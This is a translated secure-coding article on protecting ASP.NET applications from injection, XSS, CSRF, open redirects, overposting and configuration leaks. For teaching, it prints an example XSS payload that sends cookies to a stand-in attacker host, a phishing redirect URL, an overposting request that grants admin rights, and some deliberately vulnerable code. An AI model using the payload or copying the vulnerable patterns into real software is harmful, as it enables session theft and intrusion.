ASP.NET MVC is not the most hyip but quite popular stack among web developers. From the point of view of (anti) hacker, its standard functionality gives you some basic level of security, but additional protection is needed to protect against the absolute majority of hacker tricks. In this article we will look at the basics that an ASP.NET developer needs to know about (be it Core, MVC, MVC Razor, or Web Forms).
Note: we continue the series of publications of the full versions of articles from the magazine Hacker. Spelling and punctuation of the author saved.
I give the word to the author.
I think many will agree with me that ASP.NET MVC is a stack of quite popular technologies. Although the technology has long been at the peak of HYIP, but the demand for .NET web developers is quite high.
At the same time, the development must take into account safety aspects. Although some functionality and saves from the well-known classic attacks, but from a fairly large number of hacker tricks require additional protection. Let's look at popular types of attacks and ways to protect. Must know for an ASP.NET developer (be it Core, MVC, MVC Razor or WebForms).
Let's start with all known types of attacks.
Oddly enough, but in 2017, Injection and, in particular, SQL Injection is in the first place among the Top-10 security risks of the OWASP ( Open Web Application Security Project ). This type of attack means that the data entered by the user are used on the server side as query parameters.
An example of a classic SQL injection is more typical for Web Forms applications.
The use of parameters as query values ​​helps protect against attacks:
string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters.AddWithValue("@ID", customerID);
If you are developing an MVC application, the Entity Framework covers up some of the vulnerabilities. In order for the MVC / EF application to work, SQL injection needs to be managed. However, this is possible if you execute SQL code using ExecuteQuery or call poorly written stored procedures.
Despite the fact that ORM allows you to avoid SQL Injection (except for the examples above), it is recommended to limit the attributes to values ​​that the model fields can take, and therefore forms. For example, if it is assumed that only text can be entered in the field, then using Regex expressions specify the range from ^ [a-zA-Z] + $
If numbers should be entered in the field, then indicate this as a requirement:
[RegularExpression(@"\d{5}", ErrorMessage = " 5 ")] public string Zip { get; set; }
In WebForms, you can limit the possible values ​​using validators. Example:
<asp:TextBox id="txtName" runat="server"></asp:TextBox> <asp:RegularExpressionValidator id="nameRegex" runat="server" ControlToValidate="txtName" ValidationExpression="^[a-zA-Z'.\s]{1,40}$" ErrorMessage=" " />
Starting with .NET 4.5, WebForms use Unobtrusive Validation. This means that no additional code is required to check the value of the form.
Validation of particular data helps protect against another well-known vulnerability called Cross-Site Scripting (XSS).
A typical XSS example is adding a script to a comment or guestbook entry. For example, such:
<script>document.location='https://verybadcoolhacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
As you understand, in this example, cookies from your site are passed as a parameter to some hacker site.
In Web Forms, you can make an error with something like this:
<p> <%= username %>, </p>
It is clear that instead of username there can be a script. To avoid running the script, you can at least use another ASP.NET expression: <%: username%>, which encodes its contents.
If you use Razor, then the lines are automatically encoded. So to get the XSS you need to try and make a mistake. For example, use Html .Raw (Model.username). Or in your model use MvcHtmlString instead of string
For additional protection against XSS, data is also encoded in C # code. In .NET Core, you can use the following encoders from the System.Text.Encodings.Web namespace: HtmlEncoder, JavaScriptEncoder, and UrlEncoder
The following example returns the string "<script>":
string encodedString = HtmlEncoder.Default.Encode("<script>");
Classic .NET uses HttpUtility.HtmlEncode. And starting with .NET 4.5, AntiXssEncoder can be made the default encoder. This is done by adding a single attribute to the httpRuntime tag of the web.config file:
<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.AntiXss.AntiXssEncoder" />
Thus, using the old HttpUtility.HtmlEncode code, you will actually use the new more vulnerability-resistant class (the new code will also use the old HttpServerUtility, and HttpResponseHeader classes).
It is recommended to encode strings not before saving to the database, but before displaying.
In addition, if you use some string entered by the user as a parameter to pass to the URL, then be sure to use UrlEncoder.
Wikipedia in the “aliexpress” style claims that in Russian it sounds like “Cross-site request forgery”.
This is a type of attack in which a user visits a malicious website, and this website sends requests to another website. On a good site on which the user is registered, and which he recently visited. It may happen that the authorization information on a good site still remains in the cookie. Then some malicious, hidden action may well be committed.
To avoid this attack in MVC, the well-known Html .AntiForgeryToken () helper added to the View helps everyone. And the attribute [ValidateAntiForgeryToken] added before the action controller.
This method of protection is of the type STP (synchronizer token pattern). The point is that when entering a page, the server sends a token to the user, and after the user makes a request, he sends the token back to the server for verification together with the data. Tokens can be stored both in the header and in a hidden field or cookie.
Razor pages are protected by default against XSRF / CSRF attacks. But if you use AJAX requests, then you can send tokens in the header. This is not as simple as using AntiForgeryToken.
To configure this feature, ASP.NET Core uses the following service: Microsoft.AspNetCore.Antiforgery.IAntiforgery .
Classic ASP.NET applications use the AntiForgery.GetTokens method to generate tokens and AntiForgery.Validate to verify the tokens received by the server side.
Read more here: Anti-CSRF and AJAX
Be careful with redirects. The following code is very dangerous:
Response.Redirect(Request.QueryString["Url"]);
The attacker can add a link to your site. And the user, having seen that the URL starts from a good site, may not consider the address completely (especially if it is long) but click on the link, thus switching to the harmful site from yours. This vulnerability can be used in particular for phishing. Phishing link example:
http://www.goodwebsite.com/Redirect?url=http://www.goodweebsite.com
Many users receive an e-mail with a link looking to see if the domain is the same and do not expect to be redirected by a link from a good website to a bad one. And if the redirect opens a page with the same design, then many users will enter their username and password without hesitation (thinking that they have accidentally logged out of their account). After that, they can be redirected by intruders to the real site.
This type of attack also applies to MVC. The following example checks whether the link is local:
private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // …. }
To protect against this type of attack, you can also use the LocalRedirect helper method.
private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }
In general, try never to trust the data received.
Let us examine this vulnerability by example.
Suppose there is a simple model with two properties in your website.
public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }
And there is a rather ordinary and also quite simple view.
@model UserModel <form asp-action="Vulnerable" asp-Controller="Home"> <div class="form-group"> <label asp-for="Name"></label> <input class="form-control" type="text" asp-for="Name" /> </div> <div class="form-group"> @if (Model.IsAdmin) { <i>You are an admin</i> } else { <i>You are a standard user</i> } </div> <button class="btn btn-sm" type="submit">Submit</button> </form>
With this view, you can only edit the username, right?
And now let's move on to the same simple code:
[HttpPost] public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }
Everything is fine, right?
As it turns out, not at all. And all because of the fact that the action is marked as HttpPost.
In order to make sure of this, it is enough to open a utility like Postman or Fiddler and send a POST request to the address with indication of the parameters id and IsAdmin. If you are testing locally, then the address would be: localhost: 51696 / Home / Vulnerable? Id = 34 & IsAdmin = true
As you can see in the screenshot, access to secret information is obtained (in the HTML code, you are an admin is visible)
How to avoid this type of attack? The simplest option is not to fall into a situation when an object is transmitted with HttpPost. And if such a situation cannot be avoided, then be prepared for anything that can be transmitted. One option is to create a separate class for transmitting it via HttpPost. This can be either the base class of the current class with public parameters, or a twin class. In this class, important fields can be marked with the Editable attribute with the value false:
[Editable(false)]
Many attacks can be avoided by setting certain values ​​in the request header. Headers are not supported by all browsers (mostly not supported by older versions). Consider some popular types of attacks that can be avoided by installing Headers.
Already discussed above type of attack. For additional protection, you can use the content-security-policy header. It allows you to download content only from certain resources. For example, you can allow running scripts from the current site only:
content-security-policy: script-src 'self'
It is also possible to specify trusted sites, access to the content of which is allowed.
The following header also helps protect against XSS, although, as a rule, it is enabled by browsers by default: x-xss-protection. Example:
x-xss-protection: 1; mode=block
Having entered a website, a window can be opened to the user, a link or banner over which some hidden button / link is added inside the transparent iframe. And it turns out that the user clicks on something that he wants to click on, but in fact he clicks on a hidden object against his will.
Setting the header "X-FRAME-OPTIONS" with the value "DENY" will prohibit the placement of the pages of your site in the iframe. If your site does not have frames, then this is a good option for you. If you use an iframe to display the pages of your site, then the value SAMEORIGIN will allow you to display the pages of your site in the frame, but only on other pages of the same your site.
This is not the name of the attack method, but the scan of the file contents, which is primarily related to XSS. Often, an attacker can download any harmful code in the form of a file with a completely harmless extension. For example, as a video tag. And it may happen that the browser recognizes the file as a code and executes it. To prevent this from happening, setting the "X-Content-Type-Options: nosniff" header can be used. When this header is received, the browser will check whether the contents of the file are the contents of the exact format specified (this check is called MIME sniffing).
Browsers automatically add a link to the site from which the transition was made to the request headers when they switch to a site. This is very convenient for analytics. For example, it will not be difficult to write some code that will compile statistics for you with a list of sites from which visitors access your site. However, if there are requests with some confidential information in the stock address on your site, it would be very desirable to hide this information from other sites. For example: http://www.somegoodsite.com/Edit?id=34543276654
In order to hide your link when you go to another site, you can set a header with the value "Referrer-Policy: no-referrer"
Query headers can be set using either the IIS settings or from the application code. We will not consider setting up IIS, but consider options for installing headers from code.
In order to add a header in ASP.NET Core, you can create Middleware. Middleware, as the name implies, is some kind of intermediate code located somewhere in the middle of the request and response process chain.
Here is an example of a pair of classes that allows you to add an X-Frame-Options header: DENY
public class HeadersMiddleware { private readonly RequestDelegate _next; public HeadersMiddleware(RequestDelegate next) { _next = next; } public async Task Invoke(HttpContext context) { IHeaderDictionary headers = context.Response.Headers; headers["X-Frame-Options"] = "DENY"; await _next(context); } } public static class HeadersMiddlewareExtensions { public static IApplicationBuilder UseHeadersMiddleware(this IApplicationBuilder builder) { return builder.UseMiddleware<HeadersMiddleware>(); } }
You can register the resulting middleware in the Configure method of the Startup.cs file with one line:
app.UseHeadersMiddleware();
Now among the list of headers received from the server, we can see our newly added X-Frame-Options
You can even not use Middleware, but add the header immediately to the Config method of the Startup.cs file, replacing
app.UseHeadersMiddleware();
on
app.Use(async (context, next) => { context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN"); await next(); });
This method looks easier. In addition, it can be used to set headers for all content or only for dynamic content (respectively, add the code before the app.UseStaticFiles () line and after).
Dynamic content is files that, respectively, contain dynamic model data. Static content is such files as html, css, js, jpg, etc.
In classic ASP.NET, adding a header is done in a slightly different way.
There are two options. The first is to add tags to the system.webServer section of the web.config file. For example, such:
<httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> <remove name="X-Powered-By" /> </customHeaders> </httpProtocol>
Note that you can not only add, but also delete tags. The example removes the X-Powered-By header. The less information we disclose, the better, right? Result:
In addition to the X-Powered-By header, it is quite possible to remove the Server and X-AspNet-Version headers as well.
The second option to add headers is to add the Application_BeginRequest method to the Global.asax file.
protected void Application_BeginRequest(object sender, EventArgs e) { HttpContext.Current.Response.AddHeader("X-FRAME-OPTIONS", "DENY"); }
To add a header, you can use a fairly popular NuGet package called NWebsec. The author of the package is Andre N. Klingsheim.
NWebsec can be used with regular ASP.NET applications as well as with Core 1.1
The following tags will appear in an ASP.NET application after installing the package in web.config:
<nwebsec> <httpHeaderSecurityModule xmlns="http://nwebsec.com/HttpHeaderSecurityModuleConfig.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="NWebsecConfig/HttpHeaderSecurityModuleConfig.xsd"> </httpHeaderSecurityModule> </nwebsec>
As their content, you can add a header installation. Let's say this option:
<redirectValidation enabled="true" /> <securityHttpHeaders> <x-XSS-Protection policy="FilterEnabled" blockMode="true"/> <content-Security-Policy enabled="true"> </content-Security-Policy> <x-Frame-Options policy="Deny"/> <x-Content-Type-Options enabled="true" /> </securityHttpHeaders>
If you are using ASP.NET Core, the recommended option for adding headers is as follows:
app.UseXContentTypeOptions(); app.UseReferrerPolicy(opts => opts.NoReferrer());
before
app.UseStaticFiles();
and after
app.UseXfo(xfo => xfo.Deny()); app.UseRedirectValidation();
One big minus of NWebsec is that the .NET Core 2.0 version is not yet supported.
If you are working in a full-fledged ASP.NET, then the best storage option for the connection string is the web.config file. And keep the string not in the clear, but in the encrypted form. This can be done using the aspnet_regiis.exe utility. The easiest option is to run the Developer Command Prompt in administrator mode and execute the command
aspnet_regiis.exe -pef connectionStrings C:\inetpub\wwwroot\YourAppName
2 parameters of the command is the section that needs to be encrypted (in this case, connectionStrings) and the path to the directory where the web.config file is located
If you are working in an ASP.NET Core, then you can use the Secret Manager tool to store strings during the development process.
There is no ready-made version for production for .NET Core. But if you host the application in Azure, you can save confidential information in the application settings
In this case, the connection string itself can be transferred to a separate file. For security reasons, this file should be excluded from the version control system.
<connectionStrings configSource="ConnectionStrings.config"> </connectionStrings>
In the same way, you can make out confidential parameters:
<appSettings file="AppSettingsSecrets.config"> </appSettings>
In the file itself, you just need to specify the content that would be used as the content of the tags.
Perhaps you have ever seen the "yellow screen of death" with the text of the code in which the error occurred. I did not accidentally put this recommendation right after the connection string. The clearer will be an example in which an attacker can artificially create an error and get some useful information for himself. Ideally, this could be a connection string. Sometimes even a trifle can shorten the search time for site vulnerabilities. If you have a classic ASP.NET application, then in web.config the CustomErrors mode is sure to leave On or at least RemoteOnly:
<customErrors mode="On" />
In ASP.NET Core, you can split the mapping for development mode and for production using NuGet Microsoft.AspNetCore.Diagnostics package. For example, to customize the display of an error message in the Configure method of the StartUp class, you can add:
env.EnvironmentName = EnvironmentName.Production; if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } else { app.UseExceptionHandler("/error"); }
If all of a sudden you get into the web.config settings of the tracing or debug, then the production server must be set to false.
<trace enabled="false" localOnly="true" /> <compilation debug="false" targetFramework="4.5" />
In order for an attacker to not be able to access the cookie file (say, using XSS or some other method), it is necessary that the value of the following parameter be true
<httpCookies httpOnlyCookies="true" requireSSL="false"/>
For storing passwords and other confidential information, use only persistent hashi with salt. OWASP recommends Argon2, PBKDF2, scrypt and bcrypt.
Use Forms authentication for intranet sites only. If you want to use web authentication, then switch to Identity.
If you already use Identity with an ASP.NET Core application, then you can limit the number of attempts to enter a password by adding the following code to the ConfigureServices method of the Startup.cs file:
services.Configure<IdentityOptions>(options => { options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30); options.Lockout.MaxFailedAccessAttempts = 10; });
If you allow the user to edit some of his data, then check whether he edits his data (remember that the received data should not be trusted):
public ActionResult EditProfileInfo(int id) { var user = _context.Users.FirstOrDefault(e => e.Id == id); if (user.Id == _userIdentity.GetUserId()) { // } // … }
As far as I could, I tried to put together everything that could be useful for ASP.NET developer. Of course, the story did not work out about everything. For example, you can still separately consider possible IIS configuration errors. However, this material should be enough to learn the basic rules and not make blunders.
We remind you that this is the full version of an article from Hacker magazine . Its author is Alexey Sommer .
Source: https://habr.com/ru/post/350760/
All Articles